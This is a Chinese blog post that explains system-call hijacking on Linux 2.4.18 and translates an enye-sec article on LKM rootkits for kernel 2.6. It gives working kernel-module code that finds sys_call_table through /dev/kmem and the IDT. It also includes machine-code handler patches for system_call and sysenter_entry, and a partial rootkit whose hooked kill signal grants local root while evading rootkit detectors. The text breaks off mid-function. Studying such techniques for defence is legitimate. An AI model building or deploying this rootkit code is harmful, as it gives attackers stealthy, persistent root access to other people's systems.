Total Pageviews

Monday 12 March 2012

Linux2.4.18内核下的系统调用劫持

注:本文提到的方法和技巧,如有兴趣请参考后面提到的两篇参考文章,虽然比较老了,但是对于本文内容的实现有很大的参考价值。因为篇幅关系,没有列出完整代码,但是核心代码已经全部给出。
Linux 现在使用是越来越多了,因此Linux的安全问题现在也慢慢为更多人所关注。Rootkit是攻击者用来隐藏踪迹和保留root访问权限的工具集,在这些 工具当中,基于LKM的rootkit尤其受到关注。这些rootkit可以实现隐藏文件、隐藏进程、重定向可执行文件,给linux的安全带来很大的威 胁,它们所用到的技术主要是系统调用劫持。用LKM技术截获系统调用的通常步骤如下:
找到需要的系统调用在sys_call_table[]中的入口(参考include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(x代表所想要截获的系统调用的索引)
将自定义的新的函数指针存入sys_call_table[x]
在Linux2.4.18内核以前,可以将sys_call_table导出来直接使用。因此修改系统调用非常容易,下面看一个例子:
extern void* sys_call_table[];/*sys_call_table被引入,所以可以存取*/
int (*orig_mkdir)(const char *path); /*保存原始系统调用的函数指针*/
int hacked_mkdir(const char *path)
{
return 0; /*一切正常,除了新建操作,该操作什么也不做*/
}
int init_module(void) /*初始化模块*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*卸载模块*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*恢复mkdir系统调用到原来的那个*/
}
在Linux2.4.18内核以后,为了解决这个安全问题,sys_call_table不能直接导出,因此上面这个代码拿到Linux2.4.18内核之后的内核上去编译加载,会在加载时报错。那么要怎么样才能得到sys_call_table,实现系统调用劫持呢?
一.怎么样得到sys_call_table的地址
1./dev/kmem
先 看一下来自Linux手册页(man kmem)的介绍:“kmem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。”也就是说,读取这个设备可以得到内存中的数 据,因此,sys_call_table的地址也可以通过设备找到。这个设备通常只有root用户才有rw权限,因此只有root才能实现这些操作。
2.系统调用过程简述
每一个系统调用都是通过int 0×80中断进入核心,中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说,操作系统会调用system_call中断服务程序。system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。
3.得到sys_call_table地址的过程
idtr 寄存器指向中断描述符表的起始地址,用sidt[asm (”sidt %0” : “=m” (idtr));]指令得到中断描述符表起始地址,从这条指令中得到的指针可以获得int 0×80中断服描述符所在位置,然后计算出system_call函数的地址。现在反编译一下system_call函数看一下:
$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)…(gdb) disass system_call
Dump of assembler code for function system_call:
……
0xc0106bf2 : jne 0xc0106c48
0xc0106bf4 : call *0xc01e0f18(,%eax,4)
0xc0106bfb : mov %eax,0×18(%esp,1)
0xc0106bff : nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = ( *) 0xc01e0f18
(gdb) x/xw (system_call+44)
0xc0106bf4 : 0×188514ff <– 得到机器指令 (little endian)
(gdb)
我 们可以看到在system_call函数内,是用call *0xc01e0f18指令来调用系统调用函数的。因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以了。我们使用模式匹配的方式来获得这条机器指令的地址。这样就必须读取/dev /kmem里面的数据。
二.如何在module里使用标准系统调用
处理/dev/kmem里的数据只需要用标准的系统调用就可以了,如:open,lseek,read。
但module里不能使用标准系统调用。为了在module里使用标准系统调用,我们要在module里实现系统调用函数。看看内核源代码里的实现吧:
#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile (”int $0×80” \
: “=a” (__res) \
: “0” (__NR_##name),”b” ((long)(arg1))); \
__syscall_return(type,__res); \
}
static inline _syscall1(int,close,int,fd)
我们可以学习这样的方法,这样只要将这些代码加入到我们的module的代码里面,就可以在module里使用这些标准系统调用了。
另 外,为了用匹配搜索的方式查找sys_call_table的地址,我们可以用memmem函数。不过memmem是GNU C扩展的函数,它的函数原型是:void *memmem(void *s,int s_len,void *t,int t_len);同样的,module里也不能使用库函数,但是我们可以自己实现这个函数。
然而在module里使用标准系统调用还有个问题,系统调用需要的参数要求要在用户空间而不是在module所在的内核空间。
Linux 使用了段选器来区分内核空间、用户空间等等。被系统调用所用到的而存放在用户空间中的参数应该在数据段选器(所指的)范围的某个地方。DS能够用 asm/uaccess.h中的get_ds()函数得到。只要我们把被内核用来指向用户段的段选器设成所需要的 DS值,我们就能够在内核中访问系统调用所用到的(那些在用户地址空间中的)那些用做参数值的数据。这可以通过调用set_fs(…)来做到。但要小心, 访问完系统调用的参数后,一定要恢复FS。下面是一段例子:
filename内核空间;比如说我们刚创建了一个字串
unsigned long old_fs_value=get_fs();
set_fs(get_ds); /*完成之后就可以存取用户空间了*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /*恢复 fs …*/
三.在module里实现sys_call_table地址查找的代码实现
主要代码如下:
/*实现系统调用*/
unsigned long errno;
#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile (”int $0×80” \
: “=a” (__res) \
: “0” (__NR_##name),”b” ((long)(arg1))); \
__syscall_return(type,__res); \
}
#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile (”int $0×80” \
: “=a” (__res) \
: “0” (__NR_##name),”b” ((long)(arg1)),”c” ((long)(arg2)), \
”d” ((long)(arg3))); \
__syscall_return(type,__res); \
}
static inline _syscall3(int,write,int,fd,const char *,buf,off_t,count)
static inline _syscall3(int,read,int,fd,char *,buf,off_t,count)
static inline _syscall3(off_t,lseek,int,fd,off_t,offset,int,count)
static inline _syscall3(int,open,const char *,file,int,flag,int,mode)
static inline _syscall1(int,close,int,fd)
/*从这里以后就可以使用这几个系统调用了*/
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
mm_segment_t old_fs_value=get_fs();
set_fs(get_ds());  
if (lseek(kmem,off,0)!=off) {
printk(”kmem lseek error in read\n”); return;
}
if (read(kmem,m,sz)!=sz) {
printk(”kmem read error!\n”); return;
}
set_fs(old_fs_value);
}
#define CALLOFF 100 /* 我们将读出int $0×80的头100个字节 */
/*得到sys_call_table的地址*/
unsigned getscTable()
{
unsigned sct;
unsigned sys_call_off;
char sc_asm[CALLOFF],*p;
/* 获得IDTR寄存器的值 */
asm (”sidt %0” : “=m” (idtr));
mm_segment_t old_fs_value=get_fs();
const char *filename=”/dev/kmem”;
set_fs(get_ds());
/* 打开kmem */
kmem = open (filename,O_RDONLY,0640);
if (kmem<0)
{
printk(”open error!”);
}
set_fs(old_fs_value);
/* 从IDT读出0×80向量 (syscall) */
readkmem (&idt,idtr.base+8*0×80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
/* 寻找sys_call_table的地址 */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)mymem (sc_asm,CALLOFF,”\xff\x14\x85”,3);
sct = *(unsigned*)(p+3);
close(kmem);
return sct;
}
好了,但是上面的函数没有做足够的错误检查。
四.劫持系统调用
在得到了sys_call_table的地址后,我们就可以很轻易的劫持系统调用了。
我们把最开始的那个例子修改一下,让它运行在2.4.18的内核。
系统调用的劫持过程主要代码如下:
static unsigned SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int init_module(void)
{
SYS_CALL_TABLE_ADDR= getscTable();
sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
orig_mkdir=sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir]=hacked_mkdir;
return 0;  
}
void cleanup_module(void)
{
sys_call_table[__NR_mkdir]=orig_mkdir;
}
五.综述
虽然内核2.4.18以后不再导出sys_call_table,但是我们仍然可以通过读/dev/kmem设备文件得到它的地址,来实现系统调用的劫持。要解决这个问题,最好是使/dev/kmem不可读,或者干脆不使用这个设备文件。否则,总会给安全带来隐患。
--------------------------------------------------------------------
 LKM Rootkits on Linux x86 v2.6

注:原文是西班牙文,所以翻译比较吃力,所以有些地方是我按照自己理解来翻译的。
原文:http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt
——[ 0.- 索引 ]
0.- 索引
1.- 序言
2.- LKM rootkits的历史
3.- v2.4 和 v2.6内核之间的区别
3.1.- 编译
3.2.- sys_call_table 符号
4.- 修改 system_call handler
5.- 修改 sysenter_entry handler
6.- 一个修改handler实现hook SYS_kill的例子
7.- 结束
——[ 1.- 序言 ]
本文描述了2.4内核和2.6内核中LKM的区别。这里还饶有兴致的讲述了LKM rootkit的历史,并且介绍了一种新的方法实现一个能够避开现有一些检测的rootkit。
本文是基于Linux下LKM的,你至少应该对linux module编程有所了解,这里不是要写一个圣经之类的东西,只不过是一个rootkit的小练习。
——[ 2.- LKM rootkits 的历史]
在ring0实现一个LKM rootkit有很多的好处,你可以改变中断表的内容,重定向系统调用,以及任何你想做的事情。因为你已经获得了不受任何限制的权限。
刚 开始的时候,第一个LKM Rootkit是通过修改sys_call_table的内容来实现的,所以我们这里通过LKM将系统调用重定向到注入代码中。它可以实现本地提权、隐藏 文件、隐藏进程等功能,但是这种方式存在一个问题就是可以很容易实现一个检测器,通过分析sys_call_table,判断其有没有改变来检测出 rootkit。
后来出现了一些不同的方法来尝试避免roorkit的检测。例如,在syscall中插入一个jump指令,或者是一些复杂的技 术使能够在特定的情况下运行我们的代码。后一个的问题就是我们必须达到System权限(例如,我在phrack中提出了一种通过页错误的方法 -> http://www.phrack.org/show.php?p=61&a=7)。接下来,我将提出一种简单的方法来重定向系统调用,而不改 变sys_call_table和IDT的内容。
下面,我们来看一下2.4内核和2.6内核的区别。
——[ 3.- v2.4 和 v2.6内核之间的区别 ]
我不会在很底层上讨论这些区别,主要是因为:
1>达不到那个知识深度
2>对于实现LKM没有必要了解那些
我的精力将主要集中在rootkit的实践上。
—-[ 3.1.- 编译 ]
跃 入眼球的第一个区别就是原来moudle是object file(.o),现在便成了kernel object file(.ko),同时编译module的方法也发生了变化。在动手写代码之前,你需要在你的系统上安装有kernel的源码,用来编译(译者注:只需 要kernel-headers即可)。
.ko文件的编译会调用kbuild系统,这是2.6下新的特性,他会在编译的过程中加入一些符号。要编译一个printk(”hello”)的module会像下面一样操作:
注意:在拷贝、粘贴Makefile的时候需要特别注意,要拷贝正确的TAB,如果TAB变成了空格将不能够工作。
—- example.c —-
#include
#include
#include
int init_module(void)
{
printk(”hello!\n”);
return(0);
}
void cleanup_module(void)
{
}
MODULE_LICENSE(”GPL”);
—- eof —-
—- Makefile —-
obj-m := example.o
all:
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules
—- eof —-
在/lib/modules/$(shell uname -r)/ 下,应该有一个指向系统中指向内核源码的build目录(符号链接)。现在执行make,就可以在目录下面看到example.ko了。
—-[ 3.2.- sys_call_table 符号]
2.6中另一个重要的不同就是sys_call_table符号不再被导出了。在2.4之前的,你可以直接获得sys_call_table的地址,通过下面的声明:
extern void *sys_call_table[];
2.6 中事情稍微有些麻烦,有好几种方法来获得sys_call_table的地址。最简单的就是通过查找System.map,但是有可能这个文件被修改了或 者没有更新,等等。因此,我们最好使用其他的办法来在执行时刻”pull”内存(运行时刻查找内核内存,找到sys_call_table的地址)。我使 用的方法仅限于x86平台(正如本文讨论的几乎所有的东西),这不是一个优美的idea,但是在很多LKM中得到了应用。
它的实现中包含了改变 linux 0×80中断处理函数,因此你应该知道linux下系统调用通过中断0×80来实现的,%eax中存放着系统调用号,%ebx、%ecx等中存放着参数。 0×80中断的处理函数是system_call,在arch/i386/kernel/entry.S中定义,其kernel代码如下:
—- arch/i386/kernel/entry.S —-
# system call handler stub
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls), %eax
jae syscall_badsys
# system call tracing in operation
testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp)
jnz syscall_trace_entry
syscall_call:
call *sys_call_table(,%eax,4)
movl %eax,EAX(%esp) # store the return value
….
—- eof —-
我们看到首先保存记录到栈中,接下来进行一些检查,诸如系统调用号是否正确等。我们感兴趣的是:call sys_call_table * (% eax, 4)。这条指令中含有我们想要找的sys_call_table的地址,它的机器码如下:
0xff 0×14 0×85 *address of sys_call_table*
我们要做的是获得int 0×80处理函数(system_call)的地址,但是现在我们只发现了0xff 0×14 0×85,我们获得Handler的地址了吗?我么你应该如何获得handler的地址呢?
很简单,通过IDT。IDT包含了每一个中断的描述符,IDT的地址保存在IDTR寄存器中,它是48位的,格式如下:
47 15 0
| IDT Base Address | IDT Limit |
换一句话说,就是前两个字节是IDT界限,紧接着4个字节是基地址。通过sidt指令可以读取IDTR寄存器的内容,一旦获得来基地址,我们就可以到达IDT中0×80的中断描述符。描述符功64位,格式如下:
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
};
也就是说,起始的两个字节和最后的两个字节分别对应着偏移字段的底端和高端,我们可以将它们拼接在一起,获得system_call的地址。整个的实现如下:
—- print_sys_call_table.c —-
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
void *get_system_call(void);
void *get_sys_call_table(void *system_call);
void **sys_call_table;
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
};
int init_module(void)
{
void *s_call;
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
printk(”sys_call_table: 0x%08x\n”, (int) sys_call_table);
return(-1); /*NOTES!*/
}
void cleanup_module(void) { /* null */ }
void *get_system_call(void)
{
unsigned char idtr[6];
unsigned long base;
struct idt_descriptor desc;
asm (”sidt %0” : “=m” (idtr));
base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0×80*8)), sizeof(desc));
return((void *) ((desc.off_high << 16) + desc.off_low));
} /*********** fin get_sys_call_table() ***********/
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
int count = 0;
p = (unsigned char *) system_call;
while (!((*p == 0xff) && (*(p+1) == 0×14) && (*(p+2) == 0×85)))
{
p++;
if (count++ > 500)
{
count = -1;
break;
}
}
if (count != -1)
{
p += 3;
s_c_t = *((unsigned long *) p);
}
else
s_c_t = 0;
return((void *) s_c_t);
} /********** fin get_sys_call_table() *************/
MODULE_LICENSE(”GPL”);
—- eof —-
使用3.1小节中的Makefile编译(将example.o改为print_sys_call_table.o),安装模块(错误时返回-1,看一下输出什么)。syslog输出为:
Sep 25 01:19:58 enye-sec kernel: sys_call_table: 0xc0323d00
我们再看一下:
[raise@enye-sec]$ grep sys_call_table /boot/System.map
c0323d00 D sys_call_table
可见我们的方法工作的非常好。
——[ 4.- 修改 system_call handler ]
下 面,我们来寻找一个方法重定向所有你想要hook的系统调用,但是不改变sys_call_table内容和任何系统调用的代码,以及IDT。怎么来实现 呢?非常简单,我们只需要修改int 0×80中断处理函数(system_call)中适当的几个字节就可以了。我们自己来管理我们的系统调用,不用担心rootkit检测器能够检测到它。
我们使用的方法非常简单,我们先来复习一下system_call的汇编代码:
—- arch/i386/kernel/entry.S —-
# system call handler stub
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls), %eax —> Those two instrutions will replaced by
jae syscall_badsys —> Our Own jump
# system call tracing in operation
testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp)
jnz syscall_trace_entry
syscall_call:
call *sys_call_table(,%eax,4)
movl %eax,EAX(%esp) # store the return value
….
—- eof —-
我们应该插入一个jump指令,我认为最好的地方在 GET_THREAD_INFO(%ebp) 和 testb
$_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) 之间。这之间的正好是判断系统调用号,跳转到syscall_badsys。$(nr_syscalls)的定义如下:
#define nr_syscalls ((syscall_table_size)/4)
表示系统调用号码的最大值(0×112)。“cmpl $(nr_syscalls), %eax”指令占5字节,“jae
syscall_badsys”指令占6字节。这里有11个字节的空间来放入我们自己的跳转代码。最直接的方法就是用
pushl 我们的地址,接着一个 ret 来覆盖,总共需要6字节。我们将放在cmpl指令的开始处。
我 们一旦获得系统的控制权(一个程序可以运行了int 0×80,执行了pushl,到我们自己的代码地址),我们就应该判断nr_syscalls和%eax,一旦%eax大于nr_syscalls,就跳 转到syscall_badsys,就像原来的int0×80处理函数一样。
假设系统调用是正常的(%eax<nr_syscalls), 接下来是检测是不是我们需要重定向的系统调用。例如,我们想重定向SYS_kill系统调用(系统调用号为37),比用%eax跟37比较,如果相等的 话,就应该跳转到我们的系统调用代码(模块中的代码)。
如果系统调用不是我们想hook的,那么就返回到控制处理函数中,就像什么都没有发生。事实上现在系统在我们的控制中,我们能够调用原来的系统调用(通过跳转到syscall_call)。
不用担心这些理论的东西,本文后面,将会有一个hook kill系统调用的例子,那个时候你将会看到所有的细节。
——[ 5.- 修改 sysenter_entry handler ]
重 写int 0×80处理函数的方法不能够完全解决问题,2.6内核之后,跟libc一起,不再使用int 0×80来调用系统调用了,而是使用了一个特殊的指令 sysenter(2字节:0×0f 0×34),它将会调用 “sysenter_entry”函数。这个函数实际上跟“system_call”一样,但是不再访问IDT了,因此节省了一些时间。也就是说,依靠 libc的程序不再使用0×80中断处理函数来执行syscall了,而是使用sysenter。
译者注:出于兼容性和其它的一些考虑,2.6内核没有放弃INT 0×80的系统调用方式。对于那些出现在系统调用的嵌套过程中的系统调用(read、open、close、brk等)仍然使用中断方式,其他系统调用均使用SYSENTER方式。
下面,我们来看一下sysenter_entry函数:
—- arch/i386/kernel/entry.S —-
# sysenter call handler stub
ENTRY(sysenter_entry)
movl TSS_ESP0_OFFSET(%esp),%esp
sysenter_past_esp:
sti
pushl $(__USER_DS)
pushl %ebp
pushfl
pushl $(__USER_CS)
pushl $SYSENTER_RETURN
/*
* Load the potential sixth argument from user stack.
* Careful about security.
*/
cmpl $__PAGE_OFFSET-3,%ebp
jae syscall_fault
1: movl (%ebp),%ebp
.section __ex_table,”a”
.align 4
.long 1b,syscall_fault
.previous
pushl %eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls), %eax —> Those two instrutions will replaced by
jae syscall_badsys —> Our Own jump
testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp)
jnz syscall_trace_entry
call *sys_call_table(,%eax,4)
movl %eax,EAX(%esp)
….
—- eof —-
正如我们看到的函数的内部实现,最后它也是跳转到sys_call_table中:call *sys_call_table(,%eax,4)。
之前的,在栈中保存记录也跟int 0×80的处理函数一模一样。因此,我们完全可以使用同样的方法来处理这个处理函数,加上一个跳转,跳转到我们代码。
不同就在于如何获得sysenter_entry的地址。不像sys_call_table,sysenter_entry是被导出的,我们可以通过下面的命令来获得:
[raise@enye-sec]$ grep sysenter_entry /proc/kallsyms
c010af50 t sysenter_entry
一 定存在一种方法,使得能够在module中读取这个值,但是我笨得像一头驴,不能够找到一个函数来读取这个内核符号。如果有人知道怎么做的话,请告诉 我:raise@enye-sec.org。我使用的方法是通过Makefile脚本来读取这个符号,非常高兴说,这个方法工作的很好!
译者注:我们可以通过在内核空间里面打开/proc/kallsyms,搜索”sysenter_entry”来获得这个符号地址。
—read_kallsyms—
/**
* read_kallsyms - find sysenter address in /proc/kallsyms.
*
* success return the sysenter address,failed return 0.
*/
#define SYSENTER_ENTRY “sysenter_entry”
int read_kallsyms(void)
{
mm_segment_t old_fs;
ssize_t bytes;
struct file *file = NULL;
char *p,temp[20];
int i = 0;
file = filp_open(PROC_HOME,O_RDONLY,0);
if (!file)
return -1;
if (!file->f_op->read)
return -1;
old_fs = get_fs();
set_fs(get_ds());
while ((bytes = file->f_op->read(file,read_buf,BUFF,&file->f_pos))) {
if (( p = strstr(read_buf,SYSENTER_ENTRY)) != NULL) {
while (*p–)
if (*p == ‘\n’)
break;
while (*p++ != ‘ ‘) {
temp[i++] = *p;
}
temp[–i] = ‘\0′;
sysenter = simple_strtoul(temp,NULL,16);
#if DEBUG == 1
printk(”sysenter: 0x%8x\n”,sysenter);
#endif
break;
}
}
filp_close(file,NULL);
return 0;
}
——[ 6.- 一个修改handler实现hook SYS_kill的例子 ]
这里是一个简单的例子,描述了如何修改system_call和sysenter_entry处理函数,实现重定向SYS_kill系统调用,实现本地提升权限,而不被rootkit检测器检测到。在拷贝、粘贴代码之前,最好完全理解了函数的实现。
rootkit中有两个跳转,一个在int 0×80的处理函数(system_call)中,一个在sysenter的处理函数(sysenter_entry)中。
这些跳转的指令在rootkit中分别保存在idt_handler[]和sysenter_entry[]数组中。
这两个数组很相似,我们通过覆盖数组中的某几个字节,来重定向到一个地址,实现对kill函数的hook。
char idt_handler[]= // (sysenter_handler is the same)
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02”
“\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90”
“\x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3”;
下面来详细看一下这些机器码:
* “\x90\x90\x90\x90\x90\x90\x90\x90\x90”:
- 9 条 nop指令, 为了安全起见,我们跳到第5个nop指令(从原先的处理函数中跳转)。
译者注:其实这个没有必要,感觉像缓冲区溢出中的shellcode一样,因为这里是精确跳转,可以不用填充nop指令
* “\x3d\x12\x01\x00\x00” = ‘cmp $0×112,%eax’ :
– 判断系统调用号是否正确。
* “\x73\x02” = ‘jae +2′ :
– 如果 %eax>=0×122,那么跳过下面的2个字节的指令,调到pushl+ret处,即执行错误系统调用处理函数
* “\xeb\x06” = ‘jmp +6′ :
– 跳过下面的2条指令(push + ret,共6字节)。
* “\x68\x90\x90\x90\x90\xc3” = ‘pushl 0×90909090′ ‘ret’ :
– 这里0×90909090表示的地址是原先处理函数中syscall_badsys的地址。
* “\x83\xf8\x25” = ‘cmp $0×25,%eax’ :
– 检测系统调用是否是我们想要重定向的 SYS_kill(0×25) 系统调用
* “\x74\x06” = ‘je +6′ :
– 如果是跳过下面的2条指令(push + ret,共6字节)。
* “\x68\x90\x90\x90\x90\xc3” = ‘pushl 0×90909090′ ‘ret’ :
– 这里 0×0909090 表示的地址是原先处理函数中”call *sys_call_table(,%eax,4)”指令的地址,即 syscall_call的地址。系统调用不是我们想要hook的kill系统调用时,我们应该将控制返回到中断处理函数中,为了不影响系统调用的执行, 我们应该跳转到 syscall_call。
* “\xff\x15\x90\x90\x90\x90” = ‘call *0×90909090′ :
– 这里,系统调用是 SYS_kill,因此我们需要跳转到我们自己的代码hacked_kill()中。0×90909090表示的地址就是函数hacked_kill()的地址。
* “\x68\x90\x90\x90\x90\xc3” = ‘pushl 0×90909090′ ‘ret’ :
– 在执行完我们自己的系统调用之后,我们必须将控制权交还给系统,因此0×90909090表示的地址指向的“call sys_call_table * (% eax, 4)”之后的指令,我们称之为after_call。
* 结束 :).
译者注:直接看机器码实在是有些乱,还是整理成汇编代码看着比较清楚:
idt_handler:
cmp $0×112,%eax
jae +2
jmp +6
pushl $addr1 ;addr1:syscall_badsys
ret
cmp $0×25,%eax
je +6
pushl $addr2 ;addr2:syscall_call
ret
call *$addr3 ;addr3:hacked_kill
pushl $addr4 ;addr4:after_call
ret
这样我们对于上面的机器代码的流程应该就比较清楚了。
###############################################################################
:
push %eax
..
..
cmp $0×137,%eax –>push address_of(new_idt) ——–|
jae c0103e98 –>ret |
|
: <—————————————-| |
call *0xc02cf4c0(,%eax,4) | |
mov %eax,0×18(%esp) <———————– | |
: | | |
cli | | |
.. | | |
| | |
.. | | |
| | |
: | | |
.. | | |
| | |
: <————————————-|—-|———————–|
cmp $0×112, %eax | |
jae +2 | |
|–jmp +6 | |
| pushl $addr1 <– addressof(syscall_badsys) | |
| ret | |
| | |
| /*Hooked kill function*/ | |
–>cmp $0×25, %eax | |
—je +6 | |
| pushl $addr2 <– addressof(syscall_call) ——|—-|
| ret |
| |
|->call *addr3 <– addressof(hooked_kill) |
|
pushl $addr4 <– addressof(after_call) ——|
ret
#####################################################################################
我希望我已经讲述清楚了。下面是你想要的完整的LKM的代码,我没有给出unistall的实现,所以结束的唯一方法就是重启系统。
译者注:可以备份system_call和sysenter_entry中被修改的地址和内容,在cleanup_module中,将其进行还原,就可以了。
注意:在拷贝、粘贴Makefile的时候需要特别主义,要拷贝正确的TAB,如果TAB变成了空格将不能够工作。
—- Makefile —-
obj-m := example_handlers_syskill.o
S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8`
all:
@echo
@echo “——————————————”
@echo ” LKM (SYS_kill) modified with handlers”
@echo ” raise@enye-sec.org | www.enye-sec.org”
@echo “——————————————”
@echo
@echo “#define DSYSENTER $(S_ENT)” > sysenter.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules
clean:
@echo
@echo “——————————————”
@echo ” LKM (SYS_kill) con handlers modificados”
@echo ” raise@enye-sec.org | www.enye-sec.org”
@echo “——————————————”
@echo
@rm -f *.o *.ko *.mod.c .*.cmd sysenter.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean
—- eof —-
—- example_handlers_syskill.c —-
/*
* Example of LKM x86 kernel 2.6.x changing handlers:
*
* - system_call
* - sysenter_entry
*
* Once loaded to obtain local root run:
*
* # kill -s SIG PID
*
* SIG and PID can be changed by modify #define
*
*
* RaiSe
* eNYe Sec - http://www.enye-sec.org
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include “sysenter.h”
#define IDT 0
#define SYSENT 1
#define ORIG_BADSYS 19
#define SYSCALL_CALL 30
#define JUMP 5
#define HACKEDCALL 37
#define AFTER_CALL 42
#define SIG 58
#define PID 12345
/* Save the patched mem of idt and sysenter*/
#define PATCHED_SIZE_MAX 10
void *start_patch_idt, *start_patch_sysenter;
unsigned char orig_idt[PATCHED_SIZE_MAX], orig_sysenter[PATCHED_SIZE_MAX];
/* a orignal syscall pointer */
int (*orig_kill)(pid_t pid, int sig);
/* globales variables */
unsigned long orig_bad_sys[2], syscall_call[2];
unsigned long after_call[2], p_hacked_kill;
void *sysenter_entry;
void **sys_call_table;
/* function pointer */
void *get_system_call(void);
void *get_sys_call_table(void *system_call);
void set_idt_handler(void *system_call);
void set_sysenter_handler(void *sysenter);
int hacked_kill(pid_t pid, int sig);
/* structure */
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
};
/* handlers */
char idt_handler[]=
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02”
“\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90”
“\x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3”;
char sysenter_handler[]=
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02”
“\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90”
“\x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3”;
int init_module(void)
{
void *s_call;
sysenter_entry = (void *) DSYSENTER;
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
set_idt_handler(s_call);
set_sysenter_handler(sysenter_entry);
p_hacked_kill = (unsigned long) hacked_kill;
orig_kill = sys_call_table[__NR_kill];
return(0);
}
void cleanup_module(void)
{
memcpy(start_patch_idt, orig_idt, 6);
memcpy(start_patch_sysenter, orig_sysenter, 6);
}
void *get_system_call(void)
{
unsigned char idtr[6];
unsigned long base;
struct idt_descriptor desc;
asm (”sidt %0” : “=m” (idtr));
base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0×80*8)), sizeof(desc));
return((void *) ((desc.off_high << 16) + desc.off_low));
} /*********** fin get_sys_call_table() ***********/
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
p = (unsigned char *) system_call;
/* Search “call *sys_call_table(,%eax,4)”*/
while (!((*p == 0xff) && (*(p+1) == 0×14) && (*(p+2) == 0×85)))
p++;
p += 3;
s_c_t = *((unsigned long *) p);
p += 4;
after_call[IDT] = (unsigned long) p;
return((void *) s_c_t);
} /********** fin get_sys_call_table() *************/
void set_idt_handler(void *system_call)
{
unsigned char *p;
unsigned long offset, *p2;
p = (unsigned char *) system_call;
/* Seek “jae syscall_badsys” */
while (!((*p == 0×0f) && (*(p+1) == 0×83)))
p++;
start_patch_idt = p-5;
memcpy(orig_idt, start_patch_idt ,6);
p += 2;
offset = *((unsigned long *) p);
/* orig_bad_sys[IDT] = (unsigned long)((p-2) + offset + 6); */
/* Use offset, Can be OK!*/
orig_bad_sys[IDT] = (unsigned long)offset;
syscall_call[IDT] = (unsigned long)((p-2) + 6);
p = (unsigned char *)(syscall_call[IDT] - 0xb);
*p++ = 0×68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) &idt_handler[JUMP]);
p = (unsigned char *) p2;
*p = 0xc3;
p = idt_handler;
